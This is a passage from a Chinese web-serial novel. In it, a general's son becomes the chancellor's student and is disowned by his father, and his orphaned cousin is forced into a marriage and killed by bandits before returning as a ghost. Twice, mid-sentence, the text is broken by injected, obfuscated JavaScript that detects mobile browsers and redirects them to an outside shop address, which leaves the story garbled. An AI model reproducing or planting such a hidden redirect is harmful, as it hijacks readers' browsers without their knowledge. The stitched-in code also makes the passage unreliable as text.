段蘅自然明白他的顾虑,只道:“做我段蘅的学生,性情品格是为首要条件,其他都是次要的,你也不必在乎其他人怎么看。我好歹也是一朝丞相,怎么也不会让人随意欺负我的学生。另外,我会替你请最好的武学师父,你只需勤奋练功,别的事情,你无需操心。我也不会要求你去做,任何违背道义、背叛你父亲的事情,你尽可放心。” 言尽于此,修令曦心中挣扎一番后,也不再迟疑,如今转机在眼前,他怎能放弃,待他学成,父亲或许对他刮目相看。 于是他叩首道:“恩师在上,请受学生一拜。” 段蘅满意点头,道:“起来吧,过两日你来相府,递杯敬师茶全了拜师之礼,你我便是真正的师生了。” 修令曦恭敬道:“是。” “也许下次再来,我们就能钓到鱼了。” 天边余晖尽收,段蘅收了钓竿,把修令曦带回府让府医给他处理脸上的伤,又派了马车送他回将军府。 两日后,段蘅给修令曦风风光光的办了场拜师宴,请帖也送到了将军府。 而今满朝文武皆知,将军府二公子成了段蘅的学生,这是任谁也没想到的,修文一向同他作对,京都多少世家子弟,还不够他段蘅挑吗? 11. 师生(二) 拜师宴上那些人各自心怀鬼胎,纷纷猜测这位丞相大人究竟有何用意。 原以为是修将军和段相两人讲和了,修文将军才让自己看重的儿子拜文臣为师,可他本人却不到场,这瞧着也不像认可的态度。 席上行拜师礼时多少双眼睛盯着修令曦,所有人都想看看他到底有什么不一般的,能入丞相大人的眼,值得如此大肆宣扬。 修令曦递上提前准备好拜师帖,管家接过,打开念出帖文: “经师易求,人师难得[1]。师之道也,博我以文,约我以礼[2]。尊师圣之礼,今有令曦愚生,得遇恩师,愿入门下,从师之道,刻修己身,诚备束脩六礼,以表寸心,伏乞笑纳。事出本心无悔,特此拜请,以昭郑重。学生修令曦,谨上,惠仁十一年十月十五日。” 段蘅收下他的束脩礼,接过他的敬师茶喝下。 管家在旁唱声:“师生礼成!” 段蘅肃穆道:“我既饮了你奉的茶,定当爱护你,悉心教导你,从此你我师生一体。今日老师想为你取字,你可愿意?” 修令曦毕恭毕敬跪着,叩首道:“还请老师赐字。” “浮云千载,洁白悠悠,不染人间芸芸众生之苦,”段蘅将他扶起来,郑重地对他说:“老师却希望你能俯身为天下万姓而忧。” 仆人已备好笔墨纸砚,段蘅转身提笔在宣纸上写下了两个字。 ——云頫。 修令曦双手接过老师递过来的宣纸,当即撂袍子跪地,俯首道:“云頫,谨遵教诲,必不负老师所望。” 宴会结束后,段蘅带修令曦去书房,路上朝他说道:“我已为你请了一位武学老师,此人在崇文年间曾任司马将军,后解甲归田,隐居南州数年,但实力仍不减当年,让他做你的老师,对你定当有益。” 修令曦两眼锃亮,到底还是个半大不小的孩子,抓住段蘅的衣袖,问道:“那位老师,是不是覃鎏跃,覃将军?” 段蘅惊讶道:“你知道他?” 修令曦眼神崇敬,道:“学生看过他的一些事迹,知道这位覃将军是很厉害的人物,听说当年两军交战时,他曾单刀匹马夜袭敌方,一把火烧了蛮夷人大半个营帐。若不是他卸任,想必后来应该也轮不到我父亲任总司马大将军的位置。” 段蘅颔首道:“不错,正是他。” “行军打仗,形式变幻莫测,将在外,君命有所不受,这也是正常的。但他性子太烈,过于直白不懂得藏锋,先帝不喜,疑他有二心,朝中那些人自然顺着帝心,进言上奏多数是弹劾他,我们自幼相识,我最是清楚他的为人,当年我任御史大夫,每每替他在陛下中间周旋,只是可惜了,圣心忌惮,最后他主动交还兵权,从此不入京都。” 段蘅语气惋惜,又告诫他道:“云頫,作为一个合格的将领,不是只要会打仗就行,也要能看得清政局,朝纲不稳,小人谏言,没有君王的信任,即便军权在手,为将者又何以自处?” 修令曦敛神道:“学生明白了。” 今日是拜师宴,段蘅也不想太过扫兴,这些将来有的是机会教他,便道:“不说这些了,走,带你去见你的那位老师。” 书房内,覃鎏跃在木架子前随意翻阅着藏书,他刚从南州赶到京都。 他原本没有出山的打算,段蘅早和他通过信,说想收一名学生,信中再三恳求他一同教导他的学生,念及两人旧情,加上在朝那些年段蘅替他说过不少话,得妻子同意,他这才答应届时下山教他的学生,做他学生的武学师父。 因此一直在等段蘅的消息。 前日相府便快马来信,希望他今日务必赶到相府,于是他接到信立即下山,一路直奔京都未曾停歇。 “我把他带来了。” 段蘅开门进来领着一个十来岁的少年走过来,那少年身量约及段蘅肩处,长得十分清俊。 待人走近,覃鎏跃一眼便看出来修令确实是根好苗子,下盘极稳,身板结实,是常年练武的人。 “云頫,还不快见过你的师父。”说完,段蘅又对覃鎏跃半似玩笑道:“我的学生对你很是崇拜,悯夫你可不能辜负他一片赤忱之心。” 悯夫是覃鎏跃的字。 覃鎏跃回道:“我既已答应你,自是会好生教导他。” 修令曦按捺住雀跃的心情,行礼道:“师父在上,请受徒弟一拜。” 覃鎏跃应了声,伸手上下捏修令曦手臂,满意点头,拍他肩膀道:“无需多礼。” 他朝修令曦道:“你老师为了你可是煞费苦心,派人送信要求我今日无论如何也要赶到,好让你放心,他是真的看重你,想要用心教导你。” 段蘅语气略略责怪道:“诶,怎么同他说这些,我既收他做了学生,那这些也是为人师应该替他考虑的。” 覃鎏跃连声道好,说:“不讲了。” 段蘅朝覃鎏跃含笑道:“那我的云頫,便交给你了。” 覃鎏跃拊掌大笑,轻拍着修令曦的头,打趣道:“放心,玉崧,你这朵,乖学生,我肯定会好好照顾。” 修令曦站在两人中间,看着两位老师不约而同笑起来,脸上喜悦之情溢于言表,难得露出孩子似的憨气。 入夜,相府的马车送修令曦回到将军府,甫一进门便看见刘副将在门口候着他了。 “刘副将。” “二公子,将军有请。” 修令曦心中隐隐欢喜,道:“好,父亲可有说是何事吗?” 刘副将在前面引路,说:“不曾,公子去了就知道了。” 修令曦跟着他走,走着走着发现不是去父亲院里的路,问道:“不去父亲那吗?” 刘副将没有回答他,将他带到祠堂。 “请吧,二公子。” 修令曦踏进门,刘副将就把门关上了。 父亲站在祠堂内众牌位前,等他走过去。 “跪下!” 修令曦内心惶恐不安,立刻跪在蒲团上,听候父亲发落,心中的喜悦消失得一干二净。 “你今日很得意是不是?入了当朝宰相门下,在人前出尽了风头,听着人人都夸赞你少年聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349329|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧,将来必成大器,你心中欢喜得很吧?顶着我将军府的名号,踩着我的脸面,拜入本将政敌的文臣座下,让我丢人,让朝臣们都来看我将军府笑话,你真是好算计!小小年纪,心机居然这般深沉,连一朝宰辅也能被你攀扯上,养了你这么多年,为父竟从来不知!你隐藏得很好,不愧是贱种,亏得是从你母亲胯|下出来的,也是如她一般的人物,下贱不堪!” “父亲!你怎能……如此说母亲。” 修令曦满脸不可置信地望向他,眼中流露出悲伤,祠堂内只点了几盏烛火,光线昏暗,父亲坚毅的脸庞在明晦之间讳莫如深。 修文始终高高在上的态度,怒声道:“别叫我!既然都选择了背叛我,那就不配唤我父亲,我不是你的父亲,本将没有你这样下作的儿子,也不差你这一个儿子,你我二人父子情谊就此断绝。今夜,你就跪在此处,对着我修家列祖列宗,好好谢罪。” 修令曦吓得忙拽住他的衣袍,恳切哀求道:“父亲,别不要我!求您了!孩儿真的不知道您同老师是这样的关系,父亲原谅,我只是想让父亲重新看见我,万万没有想要让父亲丢脸的意思。我真的没有,父亲,您就信我一回吧。求求您了!父亲,别不理孩儿,您说什么我都听,明日,明日我便去同丞相大人说清楚,父亲不要抛下我不管我。” 修文嘴角扬起一抹冷笑,道:“信你?你有什么资格,什么立场,让我信你,你我非父子,你不过是我将军府养的一条弃犬,也配?既不讨主人欢心,你还有何价值?如今满朝皆知,你再出言反尔,众人又该如何看待我,你是想害死我是吗?” “不是的父亲,不是这样的。” 看到父亲冷漠的眼神,修令曦着急忙慌地辩解,但他已经不知道该如何解释了,他跪在父亲脚下,痛哭流涕,仰头乞怜。 “滚开!”修文甩开他,毫不留情离开。 冷风吹着祠堂里的烛火,灯火摇曳他卑微的身影,天窗外寒星几点,满月如璧。 “弃犬?”修令曦伏跪在地上,喃喃念着这两个字,他哭笑不得,自嘲般道:“原来,我只是父亲圈养的一条弃犬吗?” 夜间霜寒露重,修令曦只穿着几件单薄的衣袍,跪在祠堂内冻得瑟瑟发抖。 京都不同边境,入冬晚些,十月中旬,白日里也尚暖和,但早晚温差大,入夜寒气加重。 他孤泣无眠,跪了一夜,天光乍亮,修令曦抬着木僵的双腿,艰难回到住所。 而拜师宴后,关于他将来要入仕走文臣路,立誓不做武将不从军的言论也就此传开。 他的老师段蘅还特意为他,在相府内辟了块地,建了个小演武场,方便他练功,相府几乎是修令曦第二个家,他并不常回西角院。 覃鎏跃五日教他,五日回南州别居,他不在京都的时候,修令曦就跟着老师段蘅学习书道。 他练功勤奋刻苦,寒来暑往,从不懈怠,覃鎏跃十分认可他,悉心传授。 文有段蘅,武有覃鎏跃。 修令曦有了这两位良师,五年来默默成长,进步飞快。 12. 出嫁(一) 惠仁十六年,十月初四。 何怀幸几乎是彻夜未眠。 这几日起了凉风,她夜里蹬被子,醒来总浑身冰冷,前日便感觉有些头昏脑胀的,嗓子发痒开始咳嗽,到了昨夜更是咳得没法睡。 她不愿意麻烦人,更不想看底下人脸色,只能自己想办法寻医开药,趁着没人的时候,何怀幸便偷偷从狗洞钻出府,她向来惜命,往常有个头疼脑热什么的,就自己想办法出府去看大夫抓药吃。 从狗洞里爬出来,何怀幸拍了拍身上的泥尘,戴上幂篱,悄声离开。 她直奔医馆的方向去,但路上何怀幸也得留心,万一撞见府里眼熟的人就不好了,将她偷溜出来的事情,告发到舅母那里,下一次她再想出来,恐怕就没这么容易了。 何怀幸步履匆匆,一不留神撞上一个人,差点将幂篱撞掉。 那个人刚好转身,何怀幸又恰巧走过来,街道就那么宽,两边都是商贩,道上人来人往,难免碰撞。 何怀幸道了歉,那人并不言语也不避让,明眼见她被撞着,还笔直地站在那挡路。 她蹙眉,喉咙不舒服,她没忍住咳嗽了几声,何怀幸不想多事,也懒得计较,绕过他直接走了。 陆齐还站在原地,半晌才反应过来,待转身,那道倩影已淹没在人群中。 “主人?” 旁边的仆从在摊子上结好账,见陆齐不动身,提醒道:“东西都拿好了,主人,我们可以走了。” 陆齐一动不动,置若罔闻,目光在人群中一一扫过。 他与那人相撞之际,幂篱的罗纱被掀开一角,露出女子遮掩着的面容,轻纱合上的间隙,他看到一双带着些许不满的眼睛,罗纱之下是陌生却熟悉的面孔。 太像了。 可是那人走得太快,像一阵风一样飘过他,他还没来得及仔细看,人就已经消失了。 陆齐回过神,顺着她离开的方向走,说:“走吧,去那边再看看。” 他心存希翼,想跟上去看看能否找到她,他想再仔细地看清楚她的脸。 仆从有些摸不着头脑,他们不是才从那边一路看过来的吗? 但主人已经发话,他也不好置喙,跟从其左右。 何怀幸看过大夫,抓了七副药从医馆离开。 医馆对面正好是个糖水摊子。 明明嗓子难受得厉害,却偏想吃一些甜溜溜的东西,何怀幸还在纠结,但脚已经不听使唤走到糖水铺前。 店家热情招待,说:“姑娘要不要来一碗,有桂花丸子米酿,清香可口不甜腻,保证好吃。” 他打开了木盖,桂花和酒酿的香甜扑鼻。 何怀幸心一动,吞了吞口水,问:“店家怎么卖?” 他比了下手指,道:“八文一碗。” “……不用了,多谢店家。” 何怀幸提着药包讪然一笑,八文对于她来说有点不值了,才开的药,已经花了不少钱,她不舍得再花本就为数不多的积蓄,每一文都是她努力从少得可怜的例银里面存下来的。 她又想起跟诊的学生交代她的忌口,更不打算买了,正预备重新戴上幂篱——方才看诊时取下来的,她一时都忘记戴上了,看到糖水铺心里兴冲冲的就过来了。 陆齐原本是背对着摊主,他望着前面的那条街,此时心里还想着那人身影会不会突然出现在街口,结果一转头看见她就这么站在眼前。 她穿着蓝色的衣衫,发髻和装扮十分素简,余下的头发只用月白发带缠绕,绑结垂在身后,瞧着是个清冷文气的人,与记忆中那个红衣明艳的人相去甚远。 那没有藏住的略有些尴尬局促的表情,也绝不会出现在她脸上。 可是——难以想象,他竟然丝毫不觉得违和。 这些年他寻遍南州和岭南一带,从未见过能有一人半分神似她。 乍一看,此人的五官似乎和阿娇并不那么像,眼前这个人鹅蛋似的脸,一双罥烟眉,未施粉黛,面容寡淡,身形单薄消瘦,脸颊不如阿娇的饱满,相比之下也显得娇小了些。 可她眉眼神情之间却有几分阿娇的神韵,虽然神情不一,却越看越像翻版的阿娇,和阿娇一样,她也同样有一只小巧挺立的鼻子。 他连忙放下碗勺,走上前。 何怀幸踌躇之际,突然出现一人,伸手递过去铜币给了店家,说:“我替这位姑娘付了。” “好嘞,公子大方。”店家把钱一收,利索地端给何怀幸一碗糖水。 何怀幸隔着幂篱,一时接也不是,不接也不是。 她还是拒绝了。 “谢过公子,小女子咳疾尚未痊愈,医者特意叮嘱不宜食甜。” 她掩声低咳了几下,转身就想走。 陆齐见她没有认出他,便主动道:“方才在街上不小心撞了姑娘,这一碗糖水权当是在下的赔礼,望姑娘不要介怀。” 那时何怀幸根本没记住他的长相,这回才抬头,上下仔细扫了他两眼,微颔首道:“区区小事,公子又何必在意。” 陆齐穿了一身白衫,衣上锦绣暗纹,腰系双环玉佩,言行举止稳当,看此人气质绝非寻常人家。 何怀幸根本没再给他说话的机会,转身快步离开,未经允许,私自出府,她不想无故招惹是非,以免节外生枝,她用最快的速度回了府。 陆齐伸手想挽留,只捞到一片幂篱长长的罗纱,从他指尖擦过。 那人行走得太急,带起的一阵风吹过,轻飘飘纱衣划过他的手指,明明不痛不痒,可陆齐却觉得心口刺痛。 好像真的是罗纱划伤了他的手,因为十指连心,所以他才会痛。 陆齐蜷缩着手指,如坠梦中,他曾以为此生无望,犹待来世。 他日思夜想的,以为再不会相见的人,如今真的在眼前出现了。 陆齐还想追上去,那人像兔子一样跑没影了,消失在人群中。 仆从见自家主人跑出去,也连忙跟上。 陆齐不解,反过头一脸认真地问仆从:“我长得很吓人吗?” 仆从摇头:“主人丰神俊朗,仪表堂堂。” 陆齐似乎并不满意他的回答,转头回去又问卖糖水的摊主:“店家,我长得很吓人吗?” 糖水铺摊主恭维道:“公子这气度和长相 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“没什么主人,我学习刚刚那店家说的话呢!”文二吓得一哆嗦,忙笑着应道:“是,主人,小人这就去安排,保证让您满意!” 陆齐白了他一眼,文二屁颠屁颠跟在他后面回了客栈。 何怀幸回到府里泡好药,她自备了一个砂锅,给了厨房管事一些讨好的钱,借了火炉子煲药。 只是没想到,大夫给她开的药还没喝完,何怀幸就收到了定亲的消息。 何怀幸咳嗽还没好,及笄那日舅母居然来看她——入府这些年,舅母从不曾探望过她,偶尔想起她,佳节时府中家宴,那角落里或有她一席之位,而她远远看着主位上的人觥筹交错,欢声笑语,享天伦之乐。 舅母赠予她一根白玉莲花簪,说是贺她及笄,又让厨房做了两道荤菜送来。 邓嬷嬷将木盒递给她,里面躺着一支白玉莲花簪,何怀幸自然不敢推辞,心惊胆战收下,拜礼道:“谢谢舅母。” 叶琴瑶正眼也没瞧她,道:“不必谢我,你好生歇着吧。” 邓嬷嬷跟着舅母离开,她在原地呆愣了半晌,捧着玉簪,坐到花了的铜镜前,镜中隐约可见一张素净小脸,何怀幸小心翼翼地拿起发簪,插入发髻,她浅浅地露出一个笑。 可是第二日,舅母却拿着聘书来找她。 “如今你既已及笄,也是时候自己成家了,你母亲在天有灵,见你有此良缘,想必也是欣慰。你昨日收下定礼,今日那人便来下聘了,可见对你很是中意。” “此人乃是岭南富商,虽说是续弦,不过只比你年长七岁,是会疼人的年纪。这是一桩好姻缘,莫要错过,我已替你应下,你嫁过去只会是享福的,往后吃喝不愁,绫罗绸缎任你挑,专心做你的富家大夫人便是,无需记挂这边,也算是你在府里住了这么多年,给你舅舅的报答了。毕竟这十年多府上供着你吃喝,也没有亏待过你什么,那都是真金白银花在你身上。” 何怀幸怔愣,不可置信望着舅母,抗拒和愤怒纷纷涌上心头。 “舅母,我不愿!” 13. 出嫁(二) 舅母并不管她答不答应,只是来通知她,不是来听她的意见。 叶琴瑶睥睨着何怀幸,端着居高临下的姿态,细细打量她这个陌生的外甥女,道:“你也要体谅你舅舅的难处,说起来当初你母亲费尽心思将你送回将军府,自知无颜面对阖家上下,自缢于祠堂,以死谢罪,到底是你舅舅心太软,这才留下你,没把你送出去养,现下又替你觅得这么一份好姻缘,你当心怀感激才是。” 她顿了顿,意有所指道:“岭南是你父亲故乡,你应该很快能适应,也算是圆满了。” 何怀幸沉默良久,眼中的倔强和反抗没有丝毫作用,舅母头上的鎏金步摇晃得她眼花。 话说完舅母便离开了,走前特意交代那些仆从,道:“把门锁上,里里外外看牢了,表小姐待嫁,不可疏忽。” 何怀幸坐在塌上,两眼无神,心中愁绪百转千回,屋里的光线逐渐黯淡,直到什么也看不清的时候,她才悄然流下两行清泪。 两日后嫁衣送来了,衣裳一看就是在名贵的成衣铺买的,布料做工上乘,想必也不会是舅母替她准备的。 她那位没见过面的新郎官,好像很着急,嫁衣送来后只隔了一日何怀幸就出嫁了。 她像木偶一样被换上红色的嫁衣,衣裳并不太合身,大了许多。 如此敷衍,如此急切的成婚送嫁,她不甘心,心中憎恶。 可她毫无反抗的力气,她的双手双脚被捆缚住,嘴巴被死死封上,只能像傀儡一样被摆弄,就这么上了花轿。 嬷嬷将她塞进轿子,从侧门抬了出去,将军府连她的送嫁都办得如此敷衍。 迎亲的马车一路出了京都,日夜兼程,在抵达南州关前,捆着何怀幸的麻绳才被松开,她也能说话了。 但是她并不想说话,红盖头遮住了她愤恨的眼神,何怀幸计划着逃跑,可还没等她的计划实施,在第三日途径南州关时,刚入了南州境内没多久,途径山谷,不知从哪儿冒出来一伙贼寇。 这些盗寇都是穷凶极恶之人,寻常武夫哪里是他们的对手,很快就被打倒了一批。 外面一片厮杀声,刀剑无眼,何怀幸不敢轻举妄动,心里慌张的盘算着要如何逃命。 新郎官身手尚可,他本可以直接逃走,却还是冲向花轿,将花轿里的人带了出来。 轿帘哗一下被掀开,那人探身擒住她的手腕,何怀幸被猛地一拽,差点摔倒,那人将她带下车,她正欲扯掉红布盖头,花轿后倏然窜出一个贼寇,提着一把大刀冲上来。 何怀幸正巧在他身前,霎时间,刀尖逼近,杀气直冲她而来。 刀砍在她背上,捅进了她身体,在她血肉里剜转。 何怀幸踉跄了两步,她低头看了眼心口染红的刀尖,大刀贯穿了她心脏,她痛得厉害,泪水在眼底汹涌,还倔强的不肯落下。 随后刀飞快抽出,飞溅的血滴砸在陆齐脸上,他怔愣在原地,温热的血珠顺着他的脸颊流下,他发出惊恐的声音。 “啊——啊!啊!!” 他疯了一样的冲向贼人,文二见状当即抽身过来,替他挡住侧面包围上来的贼寇。 “主人!小心——” 周围嘈杂,兵刃相接,呼吸间潮湿阴冷的空气里混着浓重的血腥味。 何怀幸几乎站不稳,风轻轻掀起她的红盖头,她张了张嘴,似乎想说话,血在红嫁衣上蔓延开来,她倒在了地上,天幕之下,大雁南飞,她阖上了眼,泪水滑落至鬓角。 “真好啊,不用嫁人了,只愿,再没有来世了……” 雁鸣穿透云层,少女微弱的声音在飞扬的尘土中被掩盖,无人听见。 陆齐杀了那名贼寇回过身来看她,热血溅在他的新郎喜服上消失不见,他在一旁冷静地看着女子的身体倒下,红色的喜布轻飘飘落下,盖住了她的脸。 那双丹凤眼里透露出迷茫,弥漫着一种让人探究不清的情绪。 他死死地盯着那具尸体,突然缓过神来,一下子失去所有力气。 “阿娇。” 雁群从天空飞过,山谷寂静,横七竖八的尸体躺了一地。 文二搀扶着瘫软的陆齐,问:“主人,你没事吧?” 陆齐只是看着那具穿着红嫁衣的尸体,久久沉默,他不敢靠近,良久,才道:“收尸,原路,回京都。” “是。” 文二领着几个存活的仆人收拾残局,迎亲的队伍换成商队,在南州重新整装,日夜赶路返回京都。 这位好心的岭南富商将她的尸体送了回来,把尸体摆放在将军府门口,府里的仆人吓得连忙去禀报,舅母怕引得人群密集,赶紧让人把她的尸体抬进府里。 陆齐通身气派不凡,坐在花厅不紧不慢地喝茶,与前几日丢了魂似的人截然相反,他开口就要求退还全部聘礼。 叶琴瑶气得发抖,好端端的人去,结果抬回来一具冷冰冰的尸体,就算她心再硬,也没道理能咽的下这口气,好歹是她外甥女,她自是不依。 陆齐吹着茶沫,扬言道:“那我只好把尸体抬到大街上去问问那些街坊邻居们,让大家来帮陆某评评理。我同贵府小姐这亲事本来也就没成,既没拜堂,也没入族谱,算什么?况且尊夫人连小姐的嫁妆也没备,我出了那么丰厚的聘礼,教我抬个死人回去,怎么说都不合适吧?当初给的见面礼我就不要了,权当给府上小姐亡去办葬礼的棺材费,算是某的一份心意,聊表敬意。” 叶琴瑶端坐主位,道:“陆公子害死了我府上的小姐,还敢这么理直气壮说话,谁给你的胆子敢在将军府大放厥词!怀幸虽只是我外甥女,但我待她如己出,没让你偿命已然是放过你,聘书已立,人上了你家花轿,你还敢来讨回聘礼,说出去也不怕人耻笑!” 他大言不惭道:“搞不好是你们将军府的人太晦气,我差人算过,贵府杀气太重,易招阴邪,我好好一场喜事就这么被毁了,本公子都还没跟你们计较呢,难不成现在让我娶具尸体回去,那不是让其他人在后面戳我脊梁骨,冤枉我克妻,那我陆某还要不要做人了!再说我只是拿回来我的东西,还没让你们赔偿我的损失呢,我这损失可不小,来来回回的人力物力,又死了那么多的仆从,还得抚慰他们家里人,将军夫人打算赔我多少钱?” 不愧是商人,算盘打得响当当,真是一点亏都不吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349331|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一番胡搅蛮缠的说辞,听得叶琴瑶气不打一处来,她一拍案几,指着他骂道: “好生无礼的蛮人,打哪来的野玩意,你怎么说话的?将军府岂容你放肆!岭南路远地偏,行走途中遇上贼寇本是常事,陆公子为商,难道会连这一点都不清楚吗?我尚且还没怪你护不住我那外甥女,你倒反口咬上来了。我好好端端的人送出去,你送回来一具尸体,谁又知道是不是真遇贼寇了,还是有其他什么隐情!” 陆齐漫不经心道:“此事宣扬出去,对我又没什么坏处,人证物证俱全,夫人不信,那我也没办法。反正我是可以不要脸面的,我陆某人又不需要在京都立足。不过将军府就不一样了,不曾听闻京都哪个勋贵世家小姐出嫁,府上是不出一分钱嫁妆的,捞钱卖女,这名声可不好听啊,想必夫人也不愿把将军府推上风口浪尖吧……我听说府里还有一位待嫁的小姐。” 言尽于此,算是掐住七寸了。 叶琴瑶气得脸都红了。 京都世家在乎脸面,将军府也是有头有脸的人,传出去也确实不利于他们。将军在朝堂也难免受到波及,令怡过两年也到了说嫁的年纪,这事要是闹开了,指不好要影响她的名声,京都那些名门望族忌讳甚多。 也怪那死丫头命不好,本来多好的喜事。 母女俩没一个省心的,将军府的颜面都被她们丢光了,真是上辈子欠她们的,晦气得很。 死了也好,死了干脆,省得以后再整出什么幺蛾子,还得给人收拾烂摊子。 但叶琴瑶也不是那么好说话的,她道:“只能退回六成,毕竟人是在你手上死的。如若不同意,那我们也只能官府相见,我将军府不是那么好欺负的,我那外甥女也是从小捧在手心长大,如今人没了,你有重大嫌疑!” “捧在手心?”陆齐当堂大笑起来,说:“我看你卖外甥女的时候,貌似不是这么个表情吧。见官就见官咯,正好让这京都里的人看看,将军府的大夫人,堂堂太史令的女儿,是如何苛待自己的外甥女,私下将外甥女进行婚嫁买卖。” 叶琴瑶脸色剧变,大声怒斥道:“你不要在这里信口胡诌!” “我可是连将军府的一分嫁妆都没拿到。”陆齐把玩着茶杯,不紧不慢说:“鄙人有理由怀疑,将军府是不是骗婚。那伙贼寇是不是你们雇的,目的就是为了骗聘礼钱。” “你……!你简直是,放肆!”叶琴瑶怒气填胸,几乎要晕过去。 邓嬷嬷在一旁给她拍背安抚,道:“夫人,不与小人计较,切勿因此伤身啊。” 为了名声,叶琴瑶最终还是选择隐忍不发,疲倦地合上眼睛,挥挥手示意邓嬷嬷带他下去。 抬走聘礼的时候,陆齐站在庭院中,望着南边的方向,喃喃自语:“阿娇,是你吗?” 送嫁办的简略,送葬就更敷衍了,只让两个仆从趁天色暗下来,连忙将何怀幸的尸身运出城去,草草埋了,连块碑也没让立。 那段时间修令曦恰巧跟着师父去了南州别居,第二日至日入才回到京都,中途又去了趟相府,得知老师在宫中,一时半会儿不会回府,这才回去将军府,于是便得知了表妹身死的消息。 14. 商讨 翌日,修令曦从沉重的梦里清醒过来,忽然想起的一些往事,令他幡然悔悟,过去是他太冷漠,辜负了表妹一片好心,他只顾着自己,却从来没有想过表妹的难处。 那时候,她肯定很无助。 如果不是因为他太过冷淡,使得两人日渐生分了,表妹她就不会孤立无援,如果他那时候没去南州,如果他早一点回来,是不是还能赶得上,一切是不是还能够挽回,也许他就能救下她。 后背的伤太重,稍微动一下就会牵扯到伤口,修令曦趴在软枕上环顾周围,没有看到那道熟悉的身影,香囊放在他的枕边,他拿起香囊撑着身子坐起来。 厢房门被打开,仆从端着膳食进来,见他醒了要起身,赶忙放下东西上前扶他。 “二公子!您还不能动,府医交代要卧床静养,千万小心伤口。” 修令曦微弓着身坐在塌边,背上伤口密密麻麻的痛,望着空荡荡的屋内,却怎么也不见表妹的身影,他呆呆坐在那,心口闷闷的痛。 “怀幸。” 他试探着喊了句,无人回应,接着又喊了一声:“怀幸……!” 在修令曦喊第一声的时候,何怀幸就已经听见了,第二句话音还没落地,她就出现在他眼前。 “我在,二哥。” 仆人狐疑地问:“二公子……您在叫谁?” “没事,是刚刚我没睡醒。” 修令曦嘴角压着淡淡笑意,仆人还是察觉到了他的视线明显落在别处,仿佛他跟前还站了一个人似的,一时间顿觉毛骨悚然。 二公子莫不是被打成失心疯了?! 仆从甚至都没来得及给他端膳食,连忙退出去了,他一路小跑去告诉管家。 管家听闻,脸色变得凝重,问:“确定吗?” 仆从道:“小人保证是亲眼所见,二公子对着空气叫了两声人名,然后莫名奇妙笑起来,眼神也不对劲,瞧着像是得了癔症的样子,小的担心是不是二公子伤得太重了,昨夜又高热,所以才导致这样?” 管家听完急忙去请府医过去看诊。 何怀幸看着仆人慌忙的背影,道:“二哥,你吓到他了,他肯定以为你中邪了。” 修令曦原本沉寂无望着的心,在她出现后顷刻被点亮,他眼底透着温润的光,坐在塌边仰头朝她道:“无事,不打紧。你是听到我的声音才出来吗?” 何怀幸点头,说:“是啊,听到你的声音我一下子就醒了,然后便现身了。” 他又问:“那你是累了就会自己钻进香囊吗?” 何怀幸思考了一下,说:“好像是这样,不过进去就没有意识,感受不到外界波动,完全沉睡。” “我明白了。”修令曦道:“明日我陪你去自在观吧。” 何怀幸不禁瞪大了眼睛,低头看他一眼,道:“你这样怎么去!?二哥,你还是先养好伤再说吧,你这一身的伤,我瞧着都觉得痛,你快趴着别动。” 修令曦垂首道:“可是,我怕来不及。” “来不及什么?” “你的时间。” “我的时间?” “人回魂只有七日,怀幸,我怕明日过后就看不到你了,可是我什么都没有帮到你,从前是,现在也是。二哥,真的愧对你。”他低垂着脑袋,语气里尽是愧疚之意,道:“刚才,我醒过来,没有看见你的那一刻,我心里……很慌,我害怕你就这样消失了。” 何怀幸定定伫立,虽然她心中仍有期望,但她也十分明白,生死之事谁也无法与命运对抗,谁也不能获得幸免,都是命数。 斯人已逝,去日往事已成风,何苦再忧思,对生者叹悲惜。 何怀幸蹲下来,仰首望他,说:“二哥不必歉疚,过去的事情我从不怪你,你也无需自责。人固有一死,我既命该如此,又有何惧,能有今时之奇遇,已是幸事一桩。人心不足蛇吞象,欲望总是不能够被满足的,我很知足,也从不敢奢望太多,天道有法,万物有序,二哥,顺其自然就好。" “可是……” 话还没说完,就有人进来了,何怀幸连忙示意他噤声:“嘘——” 她放下手指,起身站到旁边,来的是刚刚那个仆从,还有管家和府医。 “二公子怎么坐起来了!” 管家见他独自坐在床榻上脸色苍白,弯着身子,好像下一秒就能晕过去。 怕他一头栽倒在地,管家和仆人扶着他躺下,府医号完脉,掀开他眼皮看了看,问道:“二公子现下觉得如何?” 修令曦回道:“我挺好的。” 府医回头与管家对视,轻轻摇头。 “我索性先替二公子换药吧。” 管家叫人去准备换药的东西。 府医接过剪刀剪掉他身上的绷带,仆从在旁协助,用干净的水擦去残余的药,和府医一同上药。 何怀幸看着他们上药,二哥背后那一片的血肉模糊让她极其不适,她拧眉不语,表情严峻。 上完药,府医说:“二公子伤得太重,养不好要落病根,必须老老实实躺着静养几日,坚决不许有大幅度动作,以防伤口会裂开,加重伤情。” 管家道:“二公子,要听大夫的话才是,切忌乱动,这几日就哪也别去了,安心在相府养伤便是,正好也多陪相爷说说话。” 修令曦没说话,何怀幸知道他还想着去道观的事情。 管家和府医一同离开,叮嘱仆人照顾好他,路上再次询问:“陈大夫方才看了二公子应该无碍对吗?” 府医略微思忖,道:“神色清明,脉象平稳,不像是谵妄,且昨夜退热没有复发,我瞧着是无碍的。” 管家道:“那便好,免得相爷又担心了。” 